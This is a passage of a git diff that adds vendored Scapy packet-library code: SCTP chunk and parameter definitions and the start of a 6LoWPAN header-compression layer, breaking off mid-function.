"error-indication", + 0xc004: "set-primary-addr", + 0xc005: "success-indication", + 0xc006: "adaptation-layer", +} + +# SCTP header + +# Dummy class to guess payload type (variable parameters) + + +class _SCTPChunkGuessPayload: + def default_payload_class(self, p): + if len(p) < 4: + return conf.padding_layer + else: + t = orb(p[0]) + return globals().get(sctpchunktypescls.get(t, "Raw"), conf.raw_layer) # noqa: E501 + + +class SCTP(_SCTPChunkGuessPayload, Packet): + fields_desc = [ShortField("sport", None), + ShortField("dport", None), + XIntField("tag", None), + XIntField("chksum", None), ] + + def answers(self, other): + if not isinstance(other, SCTP): + return 0 + if conf.checkIPsrc: + if not ((self.sport == other.dport) and + (self.dport == other.sport)): + return 0 + return 1 + + def post_build(self, p, pay): + p += pay + if self.chksum is None: + crc = crc32c(raw(p)) + p = p[:8] + struct.pack(">I", crc) + p[12:] + return p + +# SCTP Chunk variable params + + +class ChunkParamField(PacketListField): + def __init__(self, name, default, count_from=None, length_from=None): + PacketListField.__init__(self, name, default, conf.raw_layer, count_from=count_from, length_from=length_from) # noqa: E501 + + def m2i(self, p, m): + cls = conf.raw_layer + if len(m) >= 4: + t = orb(m[0]) * 256 + orb(m[1]) + cls = globals().get(sctpchunkparamtypescls.get(t, "Raw"), conf.raw_layer) # noqa: E501 + return cls(m) + +# dummy class to avoid Raw() after Chunk params + + +class _SCTPChunkParam: + def extract_padding(self, s): + return b"", s[:] + + +class SCTPChunkParamHearbeatInfo(_SCTPChunkParam, Packet): + fields_desc = [ShortEnumField("type", 1, sctpchunkparamtypes), + FieldLenField("len", None, length_of="data", + adjust=lambda pkt, x:x + 4), + PadField(StrLenField("data", "", + length_from=lambda pkt: pkt.len - 4), + 4, padwith=b"\x00"), ] + + +class SCTPChunkParamIPv4Addr(_SCTPChunkParam, Packet): + fields_desc = [ShortEnumField("type", 5, sctpchunkparamtypes), + ShortField("len", 8), + IPField("addr", "127.0.0.1"), ] + + +class SCTPChunkParamIPv6Addr(_SCTPChunkParam, Packet): + fields_desc = [ShortEnumField("type", 6, sctpchunkparamtypes), + ShortField("len", 20), + IP6Field("addr", "::1"), ] + + +class SCTPChunkParamStateCookie(_SCTPChunkParam, Packet): + fields_desc = [ShortEnumField("type", 7, sctpchunkparamtypes), + FieldLenField("len", None, length_of="cookie", + adjust=lambda pkt, x:x + 4), + PadField(StrLenField("cookie", "", + length_from=lambda pkt: pkt.len - 4), + 4, padwith=b"\x00"), ] + + +class SCTPChunkParamUnrocognizedParam(_SCTPChunkParam, Packet): + fields_desc = [ShortEnumField("type", 8, sctpchunkparamtypes), + FieldLenField("len", None, length_of="param", + adjust=lambda pkt, x:x + 4), + PadField(StrLenField("param", "", + length_from=lambda pkt: pkt.len - 4), + 4, padwith=b"\x00"), ] + + +class SCTPChunkParamCookiePreservative(_SCTPChunkParam, Packet): + fields_desc = [ShortEnumField("type", 9, sctpchunkparamtypes), + ShortField("len", 8), + XIntField("sug_cookie_inc", None), ] + + +class SCTPChunkParamHostname(_SCTPChunkParam, Packet): + fields_desc = [ShortEnumField("type", 11, sctpchunkparamtypes), + FieldLenField("len", None, length_of="hostname", + adjust=lambda pkt, x:x + 4), + PadField(StrLenField("hostname", "", + length_from=lambda pkt: pkt.len - 4), + 4, padwith=b"\x00"), ] + + +class SCTPChunkParamSupportedAddrTypes(_SCTPChunkParam, Packet): + fields_desc = [ShortEnumField("type", 12, sctpchunkparamtypes), + FieldLenField("len", None, length_of="addr_type_list", + adjust=lambda pkt, x:x + 4), + PadField(FieldListField("addr_type_list", ["IPv4"], + ShortEnumField("addr_type", 5, sctpchunkparamtypes), # noqa: E501 + length_from=lambda pkt: pkt.len - 4), # noqa: E501 + 4, padwith=b"\x00"), ] + + +class SCTPChunkParamECNCapable(_SCTPChunkParam, Packet): + fields_desc = [ShortEnumField("type", 0x8000, sctpchunkparamtypes), + ShortField("len", 4), ] + + +class SCTPChunkParamRandom(_SCTPChunkParam, Packet): + fields_desc = [ShortEnumField("type", 0x8002, sctpchunkparamtypes), + FieldLenField("len", None, length_of="random", + adjust=lambda pkt, x:x + 4), + PadField(StrLenField("random", RandBin(32), + length_from=lambda pkt: pkt.len - 4), + 4, padwith=b"\x00"), ] + + +class SCTPChunkParamChunkList(_SCTPChunkParam, Packet): + fields_desc = [ShortEnumField("type", 0x8003, sctpchunkparamtypes), + FieldLenField("len", None, length_of="chunk_list", + adjust=lambda pkt, x:x + 4), + PadField(FieldListField("chunk_list", None, + ByteEnumField("chunk", None, sctpchunktypes), # noqa: E501 + length_from=lambda pkt: pkt.len - 4), # noqa: E501 + 4, padwith=b"\x00"), ] + + +class SCTPChunkParamRequestedHMACFunctions(_SCTPChunkParam, Packet): + fields_desc = [ShortEnumField("type", 0x8004, sctpchunkparamtypes), + FieldLenField("len", None, length_of="HMAC_functions_list", + adjust=lambda pkt, x:x + 4), + PadField(FieldListField("HMAC_functions_list", ["SHA-1"], + ShortEnumField("HMAC_function", 1, hmactypes), # noqa: E501 + length_from=lambda pkt: pkt.len - 4), # noqa: E501 + 4, padwith=b"\x00"), ] + + +class SCTPChunkParamSupportedExtensions(_SCTPChunkParam, Packet): + fields_desc = [ShortEnumField("type", 0x8008, sctpchunkparamtypes), + FieldLenField("len", None, length_of="supported_extensions", + adjust=lambda pkt, x:x + 4), + PadField(FieldListField("supported_extensions", + ["authentication", + "address-configuration", + "address-configuration-ack"], + ByteEnumField("supported_extensions", # noqa: E501 + None, sctpchunktypes), + length_from=lambda pkt: pkt.len - 4), # noqa: E501 + 4, padwith=b"\x00"), ] + + +class SCTPChunkParamFwdTSN(_SCTPChunkParam, Packet): + fields_desc = [ShortEnumField("type", 0xc000, sctpchunkparamtypes), + ShortField("len", 4), ] + + +class SCTPChunkParamAddIPAddr(_SCTPChunkParam, Packet): + fields_desc = [ShortEnumField("type", 0xc001, sctpchunkparamtypes), + FieldLenField("len", None, length_of="addr", + adjust=lambda pkt, x:x + 12), + XIntField("correlation_id", None), + ShortEnumField("addr_type", 5, sctpchunkparamtypes), + FieldLenField("addr_len", None, length_of="addr", + adjust=lambda pkt, x:x + 4), + ConditionalField( + IPField("addr", "127.0.0.1"), + lambda p: p.addr_type == 5), + ConditionalField( + IP6Field("addr", "::1"), + lambda p: p.addr_type == 6), ] + + +class SCTPChunkParamDelIPAddr(SCTPChunkParamAddIPAddr): + type = 0xc002 + + +class SCTPChunkParamErrorIndication(_SCTPChunkParam, Packet): + fields_desc = [ShortEnumField("type", 0xc003, sctpchunkparamtypes), + FieldLenField("len", None, length_of="error_causes", + adjust=lambda pkt, x:x + 8), + XIntField("correlation_id", None), + PadField(StrLenField("error_causes", "", + length_from=lambda pkt: pkt.len - 4), + 4, padwith=b"\x00"), ] + + +class SCTPChunkParamSetPrimaryAddr(SCTPChunkParamAddIPAddr): + type = 0xc004 + + +class SCTPChunkParamSuccessIndication(_SCTPChunkParam, Packet): + fields_desc = [ShortEnumField("type", 0xc005, sctpchunkparamtypes), + ShortField("len", 8), + XIntField("correlation_id", None), ] + + +class SCTPChunkParamAdaptationLayer(_SCTPChunkParam, Packet): + fields_desc = [ShortEnumField("type", 0xc006, sctpchunkparamtypes), + ShortField("len", 8), + XIntField("indication", None), ] + +# SCTP Chunks + + +# Dictionary taken from: http://www.iana.org/assignments/sctp-parameters/sctp-parameters.xhtml # noqa: E501 +SCTP_PAYLOAD_PROTOCOL_INDENTIFIERS = { + 0: 'Reserved', + 1: 'IUA', + 2: 'M2UA', + 3: 'M3UA', + 4: 'SUA', + 5: 'M2PA', + 6: 'V5UA', + 7: 'H.248', + 8: 'BICC/Q.2150.3', + 9: 'TALI', + 10: 'DUA', + 11: 'ASAP', + 12: 'ENRP', + 13: 'H.323', + 14: 'Q.IPC/Q.2150.3', + 15: 'SIMCO', + 16: 'DDP Segment Chunk', + 17: 'DDP Stream Session Control', + 18: 'S1AP', + 19: 'RUA', + 20: 'HNBAP', + 21: 'ForCES-HP', + 22: 'ForCES-MP', + 23: 'ForCES-LP', + 24: 'SBc-AP', + 25: 'NBAP', + 26: 'Unassigned', + 27: 'X2AP', + 28: 'IRCP', + 29: 'LCS-AP', + 30: 'MPICH2', + 31: 'SABP', + 32: 'FGP', + 33: 'PPP', + 34: 'CALCAPP', + 35: 'SSP', + 36: 'NPMP-CONTROL', + 37: 'NPMP-DATA', + 38: 'ECHO', + 39: 'DISCARD', + 40: 'DAYTIME', + 41: 'CHARGEN', + 42: '3GPP RNA', + 43: '3GPP M2AP', + 44: '3GPP M3AP', + 45: 'SSH/SCTP', + 46: 'Diameter/SCTP', + 47: 'Diameter/DTLS/SCTP', + 48: 'R14P', + 49: 'Unassigned', + 50: 'WebRTC DCEP', + 51: 'WebRTC String', + 52: 'WebRTC Binary Partial', + 53: 'WebRTC Binary', + 54: 'WebRTC String Partial', + 55: '3GPP PUA', + 56: 'WebRTC String Empty', + 57: 'WebRTC Binary Empty' +} + + +class SCTPChunkData(_SCTPChunkGuessPayload, Packet): + # TODO : add a padding function in post build if this layer is used to generate SCTP chunk data # noqa: E501 + fields_desc = [ByteEnumField("type", 0, sctpchunktypes), + BitField("reserved", None, 4), + BitField("delay_sack", 0, 1), + BitField("unordered", 0, 1), + BitField("beginning", 0, 1), + BitField("ending", 0, 1), + FieldLenField("len", None, length_of="data", adjust=lambda pkt, x:x + 16), # noqa: E501 + XIntField("tsn", None), + XShortField("stream_id", None), + XShortField("stream_seq", None), + IntEnumField("proto_id", None, SCTP_PAYLOAD_PROTOCOL_INDENTIFIERS), # noqa: E501 + PadField(StrLenField("data", None, length_from=lambda pkt: pkt.len - 16), # noqa: E501 + 4, padwith=b"\x00"), + ] + + +class SCTPChunkInit(_SCTPChunkGuessPayload, Packet): + fields_desc = [ByteEnumField("type", 1, sctpchunktypes), + XByteField("flags", None), + FieldLenField("len", None, length_of="params", adjust=lambda pkt, x:x + 20), # noqa: E501 + XIntField("init_tag", None), + IntField("a_rwnd", None), + ShortField("n_out_streams", None), + ShortField("n_in_streams", None), + XIntField("init_tsn", None), + ChunkParamField("params", None, length_from=lambda pkt:pkt.len - 20), # noqa: E501 + ] + + +class SCTPChunkInitAck(SCTPChunkInit): + type = 2 + + +class GapAckField(Field): + def __init__(self, name, default): + Field.__init__(self, name, default, "4s") + + def i2m(self, pkt, x): + if x is None: + return b"\0\0\0\0" + sta, end = [int(e) for e in x.split(':')] + args = tuple([">HH", sta, end]) + return struct.pack(*args) + + def m2i(self, pkt, x): + return "%d:%d" % (struct.unpack(">HH", x)) + + def any2i(self, pkt, x): + if isinstance(x, tuple) and len(x) == 2: + return "%d:%d" % (x) + return x + + +class SCTPChunkSACK(_SCTPChunkGuessPayload, Packet): + fields_desc = [ByteEnumField("type", 3, sctpchunktypes), + XByteField("flags", None), + ShortField("len", None), + XIntField("cumul_tsn_ack", None), + IntField("a_rwnd", None), + FieldLenField("n_gap_ack", None, count_of="gap_ack_list"), + FieldLenField("n_dup_tsn", None, count_of="dup_tsn_list"), + FieldListField("gap_ack_list", [], GapAckField("gap_ack", None), count_from=lambda pkt:pkt.n_gap_ack), # noqa: E501 + FieldListField("dup_tsn_list", [], XIntField("dup_tsn", None), count_from=lambda pkt:pkt.n_dup_tsn), # noqa: E501 + ] + + def post_build(self, p, pay): + if self.len is None: + p = p[:2] + struct.pack(">H", len(p)) + p[4:] + return p + pay + + +class SCTPChunkHeartbeatReq(_SCTPChunkGuessPayload, Packet): + fields_desc = [ByteEnumField("type", 4, sctpchunktypes), + XByteField("flags", None), + FieldLenField("len", None, length_of="params", adjust=lambda pkt, x:x + 4), # noqa: E501 + ChunkParamField("params", None, length_from=lambda pkt:pkt.len - 4), # noqa: E501 + ] + + +class SCTPChunkHeartbeatAck(SCTPChunkHeartbeatReq): + type = 5 + + +class SCTPChunkAbort(_SCTPChunkGuessPayload, Packet): + fields_desc = [ByteEnumField("type", 6, sctpchunktypes), + BitField("reserved", None, 7), + BitField("TCB", 0, 1), + FieldLenField("len", None, length_of="error_causes", adjust=lambda pkt, x:x + 4), # noqa: E501 + PadField(StrLenField("error_causes", "", length_from=lambda pkt: pkt.len - 4), # noqa: E501 + 4, padwith=b"\x00"), + ] + + +class SCTPChunkShutdown(_SCTPChunkGuessPayload, Packet): + fields_desc = [ByteEnumField("type", 7, sctpchunktypes), + XByteField("flags", None), + ShortField("len", 8), + XIntField("cumul_tsn_ack", None), + ] + + +class SCTPChunkShutdownAck(_SCTPChunkGuessPayload, Packet): + fields_desc = [ByteEnumField("type", 8, sctpchunktypes), + XByteField("flags", None), + ShortField("len", 4), + ] + + +class SCTPChunkError(_SCTPChunkGuessPayload, Packet): + fields_desc = [ByteEnumField("type", 9, sctpchunktypes), + XByteField("flags", None), + FieldLenField("len", None, length_of="error_causes", adjust=lambda pkt, x:x + 4), # noqa: E501 + PadField(StrLenField("error_causes", "", length_from=lambda pkt: pkt.len - 4), # noqa: E501 + 4, padwith=b"\x00"), + ] + + +class SCTPChunkCookieEcho(SCTPChunkError): + fields_desc = [ByteEnumField("type", 10, sctpchunktypes), + XByteField("flags", None), + FieldLenField("len", None, length_of="cookie", adjust=lambda pkt, x:x + 4), # noqa: E501 + PadField(StrLenField("cookie", "", length_from=lambda pkt: pkt.len - 4), # noqa: E501 + 4, padwith=b"\x00"), + ] + + +class SCTPChunkCookieAck(_SCTPChunkGuessPayload, Packet): + fields_desc = [ByteEnumField("type", 11, sctpchunktypes), + XByteField("flags", None), + ShortField("len", 4), + ] + + +class SCTPChunkShutdownComplete(_SCTPChunkGuessPayload, Packet): + fields_desc = [ByteEnumField("type", 14, sctpchunktypes), + BitField("reserved", None, 7), + BitField("TCB", 0, 1), + ShortField("len", 4), + ] + + +class SCTPChunkAuthentication(_SCTPChunkGuessPayload, Packet): + fields_desc = [ByteEnumField("type", 15, sctpchunktypes), + XByteField("flags", None), + FieldLenField("len", None, length_of="HMAC", + adjust=lambda pkt, x:x + 8), + ShortField("shared_key_id", None), + ShortField("HMAC_function", None), + PadField(StrLenField("HMAC", "", length_from=lambda pkt: pkt.len - 8), # noqa: E501 + 4, padwith=b"\x00"), + ] + + +class SCTPChunkAddressConf(_SCTPChunkGuessPayload, Packet): + fields_desc = [ByteEnumField("type", 0xc1, sctpchunktypes), + XByteField("flags", None), + FieldLenField("len", None, length_of="params", + adjust=lambda pkt, x:x + 8), + IntField("seq", 0), + ChunkParamField("params", None, length_from=lambda pkt:pkt.len - 8), # noqa: E501 + ] + + +class SCTPChunkAddressConfAck(SCTPChunkAddressConf): + type = 0x80 + + +bind_layers(IP, SCTP, proto=IPPROTO_SCTP) +bind_layers(IPv6, SCTP, nh=IPPROTO_SCTP) diff --git a/libs/scapy/layers/sixlowpan.py b/libs/scapy/layers/sixlowpan.py new file mode 100755 index 0000000..fa39ab0 --- /dev/null +++ b/libs/scapy/layers/sixlowpan.py @@ -0,0 +1,804 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Cesar A. Bernardini +# Intern at INRIA Grand Nancy Est +# Copyright (C) Gabriel Potter +# This program is published under a GPLv2 license +""" +6LoWPAN Protocol Stack +====================== + +This implementation follows the next documents: + +- Transmission of IPv6 Packets over IEEE 802.15.4 Networks +- Compression Format for IPv6 Datagrams in Low Power and Lossy + networks (6LoWPAN): draft-ietf-6lowpan-hc-15 +- RFC 4291 + ++----------------------------+-----------------------+ +| Application | Application Protocols | ++----------------------------+------------+----------+ +| Transport | UDP | TCP | ++----------------------------+------------+----------+ +| Network | IPv6 | ++----------------------------+-----------------------+ +| | LoWPAN | ++----------------------------+-----------------------+ +| Data Link Layer | IEEE 802.15.4 MAC | ++----------------------------+-----------------------+ +| Physical | IEEE 802.15.4 PHY | ++----------------------------+-----------------------+ + +Note that: + + - Only IPv6 is supported + - LoWPAN is in the middle between network and data link layer + +The Internet Control Message protocol v6 (ICMPv6) is used for control +messaging. + +Adaptation between full IPv6 and the LoWPAN format is performed by routers at +the edge of 6LoWPAN islands. + +A LoWPAN support addressing; a direct mapping between the link-layer address +and the IPv6 address is used for achieving compression. + +Known Issues: + * Unimplemented context information + * Next header compression techniques + * Unimplemented LoWPANBroadcast + +""" + +import socket +import struct + +from scapy.compat import chb, orb, raw + +from scapy.packet import Packet, bind_layers +from scapy.fields import BitField, ByteField, BitEnumField, BitFieldLenField, \ + XShortField, FlagsField, ConditionalField, FieldLenField + +from scapy.layers.dot15d4 import Dot15d4Data +from scapy.layers.inet6 import IPv6, IP6Field +from scapy.layers.inet import UDP + +from scapy.utils import lhex +from scapy.config import conf +from scapy.error import warning + +from scapy.packet import Raw +from scapy.pton_ntop import inet_pton, inet_ntop +from scapy.volatile import RandShort + +LINK_LOCAL_PREFIX = b"\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # noqa: E501 + + +class IP6FieldLenField(IP6Field): + __slots__ = ["length_of"] + + def __init__(self, name, default, size, length_of=None): + IP6Field.__init__(self, name, default) + self.length_of = length_of + + def addfield(self, pkt, s, val): + """Add an internal value to a string""" + tmp_len = self.length_of(pkt) + if tmp_len == 0: + return s + internal = self.i2m(pkt, val)[-tmp_len:] + return s + struct.pack("!%ds" % tmp_len, internal) + + def getfield(self, pkt, s): + tmp_len = self.length_of(pkt) + assert tmp_len >= 0 and tmp_len <= 16 + if tmp_len <= 0: + return s, b"" + return (s[tmp_len:], + self.m2i(pkt, b"\x00" * (16 - tmp_len) + s[:tmp_len])) + + +class BitVarSizeField(BitField): + __slots__ = ["length_f"] + + def __init__(self, name, default, calculate_length=None): + BitField.__init__(self, name, default, 0) + self.length_f = calculate_length + + def addfield(self, pkt, s, val): + self.size = self.length_f(pkt) + return BitField.addfield(self, pkt, s, val) + + def getfield(self, pkt, s): + self.size = self.length_f(pkt) + return BitField.getfield(self, pkt, s) + + +class SixLoWPANAddrField(FieldLenField): + """Special field to store 6LoWPAN addresses + + 6LoWPAN Addresses have a variable length depending on other parameters. + This special field allows to save them, and encode/decode no matter which + encoding parameters they have. + """ + + def i2repr(self, pkt, x): + return lhex(self.i2h(pkt, x)) + + def addfield(self, pkt, s, val): + """Add an internal value to a string""" + if self.length_of(pkt) == 8: + return s + struct.pack(self.fmt[0] + "B", val) + if self.length_of(pkt) == 16: + return s + struct.pack(self.fmt[0] + "H", val) + if self.length_of(pkt) == 32: + return s + struct.pack(self.fmt[0] + "2H", val) # TODO: fix! + if self.length_of(pkt) == 48: + return s + struct.pack(self.fmt[0] + "3H", val) # TODO: fix! + elif self.length_of(pkt) == 64: + return s + struct.pack(self.fmt[0] + "Q", val) + elif self.length_of(pkt) == 128: + # TODO: FIX THE PACKING!! + return s + struct.pack(self.fmt[0] + "16s", raw(val)) + else: + return s + + def getfield(self, pkt, s): + if self.length_of(pkt) == 8: + return s[1:], self.m2i(pkt, struct.unpack(self.fmt[0] + "B", s[:1])[0]) # noqa: E501 + elif self.length_of(pkt) == 16: + return s[2:], self.m2i(pkt, struct.unpack(self.fmt[0] + "H", s[:2])[0]) # noqa: E501 + elif self.length_of(pkt) == 32: + return s[4:], self.m2i(pkt, struct.unpack(self.fmt[0] + "2H", s[:2], s[2:4])[0]) # noqa: E501 + elif self.length_of(pkt) == 48: + return s[6:], self.m2i(pkt, struct.unpack(self.fmt[0] + "3H", s[:2], s[2:4], s[4:6])[0]) # noqa: E501 + elif self.length_of(pkt) == 64: + return s[8:], self.m2i(pkt, struct.unpack(self.fmt[0] + "Q", s[:8])[0]) # noqa: E501 + elif self.length_of(pkt) == 128: + return s[16:], self.m2i(pkt, struct.unpack(self.fmt[0] + "16s", s[:16])[0]) # noqa: E501 + + +class LoWPANUncompressedIPv6(Packet): + name = "6LoWPAN Uncompressed IPv6" + fields_desc = [ + BitField("_type", 0x0, 8) + ] + + def default_payload_class(self, pay): + return IPv6 + + +class LoWPANMesh(Packet): + name = "6LoWPAN Mesh Packet" + fields_desc = [ + BitField("reserved", 0x2, 2), + BitEnumField("_v", 0x0, 1, [False, True]), + BitEnumField("_f", 0x0, 1, [False, True]), + BitField("_hopsLeft", 0x0, 4), + SixLoWPANAddrField("_sourceAddr", 0x0, length_of=lambda pkt: pkt._v and 2 or 8), # noqa: E501 + SixLoWPANAddrField("_destinyAddr", 0x0, length_of=lambda pkt: pkt._f and 2 or 8), # noqa: E501 + ] + + def guess_payload_class(self, payload): + # check first 2 bytes if they are ZERO it's not a 6LoWPAN packet + pass + +############################################################################### +# Fragmentation +# +# Section 5.3 - September 2007 +############################################################################### + + +class LoWPANFragmentationFirst(Packet): + name = "6LoWPAN First Fragmentation Packet" + fields_desc = [ + BitField("reserved", 0x18, 5), + BitField("datagramSize", 0x0, 11), + XShortField("datagramTag", 0x0), + ] + + +class LoWPANFragmentationSubsequent(Packet): + name = "6LoWPAN Subsequent Fragmentation Packet" + fields_desc = [ + BitField("reserved", 0x1C, 5), + BitField("datagramSize", 0x0, 11), + XShortField("datagramTag", RandShort()), + ByteField("datagramOffset", 0x0), # VALUE PRINTED IN OCTETS, wireshark does in bits (128 bits == 16 octets) # noqa: E501 + ] + + +IPHC_DEFAULT_VERSION = 6 +IPHC_DEFAULT_TF = 0 +IPHC_DEFAULT_FL = 0 + + +def source_addr_mode2(pkt): + """source_addr_mode + + This function depending on the arguments returns the amount of bits to be + used by the source address. + + Keyword arguments: + pkt -- packet object instance + """ + if pkt.sac == 0x0: + if pkt.sam == 0x0: + return 16 + elif pkt.sam == 0x1: + return 8 + elif pkt.sam == 0x2: + return 2 + elif pkt.sam == 0x3: + return 0 + else: + if pkt.sam == 0x0: + return 0 + elif pkt.sam == 0x1: + return 8 + elif pkt.sam == 0x2: + return 2 + elif pkt.sam == 0x3: + return 0 + + +def destiny_addr_mode(pkt): + """destiny_addr_mode + + This function depending on the arguments returns the amount of bits to be + used by the destiny address. + + Keyword arguments: + pkt -- packet object instance + """ + if pkt.m == 0 and pkt.dac == 0: + if pkt.dam == 0x0: + return 16 + elif pkt.dam == 0x1: + return 8 + elif pkt.dam == 0x2: + return 2 + else: + return 0 + elif pkt.m == 0 and pkt.dac == 1: + if pkt.dam == 0x0: + raise Exception('reserved') + elif pkt.dam == 0x1: + return 8 + elif pkt.dam == 0x2: + return 2 + else: + return 0 + elif pkt.m == 1 and pkt.dac == 0: + if pkt.dam == 0x0: + return 16 + elif pkt.dam == 0x1: + return 6 + elif pkt.dam == 0x2: + return 4 + elif pkt.dam == 0x3: + return 1 + elif pkt.m == 1 and pkt.dac == 1: + if pkt.dam == 0x0: + return 6 + elif pkt.dam == 0x1: + raise Exception('reserved') + elif pkt.dam == 0x2: + raise Exception('reserved') + elif pkt.dam == 0x3: + raise Exception('reserved') + + +def nhc_port(pkt): + if not pkt.nh: + return 0, 0 + if pkt.header_compression & 0x3 == 0x3: + return 4, 4 + elif pkt.header_compression & 0x2 == 0x2: + return 8, 16 + elif pkt.header_compression & 0x1 == 0x1: + return 16, 8 + else: + return 16, 16 + + +def pad_trafficclass(pkt): + """ + This function depending on the arguments returns the amount of bits to be + used by the padding of the traffic class. + + Keyword arguments: + pkt -- packet object instance + """ + if pkt.tf == 0x0: + return 4 + elif pkt.tf == 0x1: + return 2 + elif pkt.tf == 0x2: + return 0 + else: + return 0 + + +def flowlabel_len(pkt): + """ + This function depending on the arguments returns the amount of bits to be + used by the padding of the traffic class. + + Keyword arguments: + pkt -- packet object instance + """ + if pkt.tf == 0x0: + return 20 + elif pkt.tf == 0x1: + return 20 + else: + return 0 + + +def _tf_last_attempt(pkt): + if pkt.tf == 0: + return 2, 6, 4, 20 + elif pkt.tf == 1: + return 2, 0, 2, 20 + elif pkt.tf == 2: + return 2, 6, 0, 0 + else: + return 0, 0, 0, 0 + + +def _extract_dot15d4address(pkt, source=True): + """This function extracts the source/destination address of a 6LoWPAN + from its upper Dot15d4Data (802.15.4 data) layer. + + params: + - source: if True, the address is the source one. Otherwise, it is the + destination. + returns: the packed & processed address + """ + underlayer = pkt.underlayer + while underlayer is not None and not isinstance(underlayer, Dot15d4Data): # noqa: E501 + underlayer = underlayer.underlayer + if type(underlayer) == Dot15d4Data: + addr = underlayer.src_addr if source else underlayer.dest_addr + if underlayer.underlayer.fcf_destaddrmode == 3: + tmp_ip = LINK_LOCAL_PREFIX[0:8] + struct.pack(">Q", addr) # noqa: E501 + # Turn off the bit 7. + tmp_ip = tmp_ip[0:8] + struct.pack("B", (orb(tmp_ip[8]) ^ 0x2)) + tmp_ip[9:16] # noqa: E501 + elif underlayer.underlayer.fcf_destaddrmode == 2: + tmp_ip = LINK_LOCAL_PREFIX[0:8] + \ + b"\x00\x00\x00\xff\xfe\x00" + \ + struct.pack(">Q", addr)[6:] + return tmp_ip + else: + # Most of the times, it's necessary the IEEE 802.15.4 data to extract this address # noqa: E501 + raise Exception('Unimplemented: IP Header is contained into IEEE 802.15.4 frame, in this case it\'s not available.') # noqa: E501 + + +class LoWPAN_IPHC(Packet): + """6LoWPAN IPv6 header compressed packets + + It follows the implementation of draft-ietf-6lowpan-hc-15. + """ + # the LOWPAN_IPHC encoding utilizes 13 bits, 5 dispatch type + name = "LoWPAN IP Header Compression Packet" + _address_modes = ["Unspecified", "1", "16-bits inline", "Compressed"] + _state_mode = ["Stateless", "Stateful"] + fields_desc = [ + # dispatch + BitField("_reserved", 0x03, 3), + BitField("tf", 0x0, 2), + BitEnumField("nh", 0x0, 1, ["Inline", "Compressed"]), + BitField("hlim", 0x0, 2), + BitEnumField("cid", 0x0, 1, [False, True]), + BitEnumField("sac", 0x0, 1, _state_mode), + BitEnumField("sam", 0x0, 2, _address_modes), + BitEnumField("m", 0x0, 1, [False, True]), + BitEnumField("dac", 0x0, 1, _state_mode), + BitEnumField("dam", 0x0, 2, _address_modes), + ConditionalField( + ByteField("_contextIdentifierExtension", 0x0), + lambda pkt: pkt.cid == 0x1 + ), + # TODO: THIS IS WRONG!!!!! + BitVarSizeField("tc_ecn", 0, calculate_length=lambda pkt: _tf_last_attempt(pkt)[0]), # noqa: E501 + BitVarSizeField("tc_dscp", 0, calculate_length=lambda pkt: _tf_last_attempt(pkt)[1]), # noqa: E501 + BitVarSizeField("_padd", 0, calculate_length=lambda pkt: _tf_last_attempt(pkt)[2]), # noqa: E501 + BitVarSizeField("flowlabel", 0, calculate_length=lambda pkt: _tf_last_attempt(pkt)[3]), # noqa: E501 + + # NH + ConditionalField( + ByteField("_nhField", 0x0), + lambda pkt: not pkt.nh + ), + # HLIM: Hop Limit: if it's 0 + ConditionalField( + ByteField("_hopLimit", 0x0), + lambda pkt: pkt.hlim == 0x0 + ), + IP6FieldLenField("sourceAddr", "::", 0, length_of=source_addr_mode2), + IP6FieldLenField("destinyAddr", "::", 0, length_of=destiny_addr_mode), # problem when it's 0 # noqa: E501 + + # LoWPAN_UDP Header Compression ######################################## # noqa: E501 + # TODO: IMPROVE!!!!! + ConditionalField( + FlagsField("header_compression", 0, 8, ["A", "B", "C", "D", "E", "C", "PS", "PD"]), # noqa: E501 + lambda pkt: pkt.nh + ), + ConditionalField( + BitFieldLenField("udpSourcePort", 0x0, 16, length_of=lambda pkt: nhc_port(pkt)[0]), # noqa: E501 + # ShortField("udpSourcePort", 0x0), + lambda pkt: pkt.nh and pkt.header_compression & 0x2 == 0x0 + ), + ConditionalField( + BitFieldLenField("udpDestinyPort", 0x0, 16, length_of=lambda pkt: nhc_port(pkt)[1]), # noqa: E501 + lambda pkt: pkt.nh and pkt.header_compression & 0x1 == 0x0 + ), + ConditionalField( + XShortField("udpChecksum", 0x0), + lambda pkt: pkt.nh and pkt.header_compression & 0x4 == 0x0 + ), + + ] + + def post_dissect(self, data): + """dissect the IPv6 package compressed into this IPHC packet. + + The packet payload needs to be decompressed and depending on the + arguments, several conversions should be done. + """ + + # uncompress payload + packet = IPv6() + packet.version = IPHC_DEFAULT_VERSION + packet.tc, packet.fl = self._getTrafficClassAndFlowLabel() + if not self.nh: + packet.nh = self._nhField + # HLIM: Hop Limit + if self.hlim == 0: + packet.hlim = self._hopLimit + elif self.hlim == 0x1: + packet.hlim = 1 + elif self.hlim == 0x2: + packet.hlim = 64 + else: + packet.hlim = 255 + # TODO: Payload length can be inferred from lower layers from either the # noqa: E501 + # 6LoWPAN Fragmentation header or the IEEE802.15.4 header + + packet.src = self.decompressSourceAddr(packet) + packet.dst = self.decompressDestinyAddr(packet) + + if self.nh == 1: + # The Next Header field is compressed and the next header is + # encoded using LOWPAN_NHC + + packet.nh = 0x11 # UDP + udp = UDP() + if self.header_compression and \ + self.header_compression & 0x4 == 0x0: + udp.chksum = self.udpChecksum + + s, d = nhc_port(self) + if s == 16: + udp.sport = self.udpSourcePort + elif s == 8: + udp.sport = 0xF000 + s + elif s == 4: + udp.sport = 0xF0B0 + s + if d == 16: + udp.dport = self.udpDestinyPort + elif d == 8: + udp.dport = 0xF000 + d + elif d == 4: + udp.dport = 0xF0B0 + d + + packet.payload = udp / data + data = raw(packet) + # else self.nh == 0 not necessary + elif self._nhField & 0xE0 == 0xE0: # IPv6 Extension Header Decompression # noqa: E501 + warning('Unimplemented: IPv6 Extension Header decompression') # noqa: E501 + packet.payload = conf.raw_layer(data) + data = raw(packet) + else: + packet.payload = conf.raw_layer(data) + data = raw(packet) + + return Packet.post_dissect(self, data) + + def decompressDestinyAddr(self, packet): + try: + tmp_ip = inet_pton(socket.AF_INET6, self.destinyAddr) + except socket.error: + tmp_ip = b"\x00" * 16 + + if self.m == 0 and self.dac == 0: + if self.dam == 0: + pass + elif self.dam == 1: + tmp_ip = LINK_LOCAL_PREFIX[0:8] + tmp_ip[-8:] + elif self.dam == 2: + tmp_ip = LINK_LOCAL_PREFIX[0:8] + b"\x00\x00\x00\xff\xfe\x00" + tmp_ip[-2:] # noqa: E501 + elif self.dam == 3: + # TODO May need some extra changes, we are 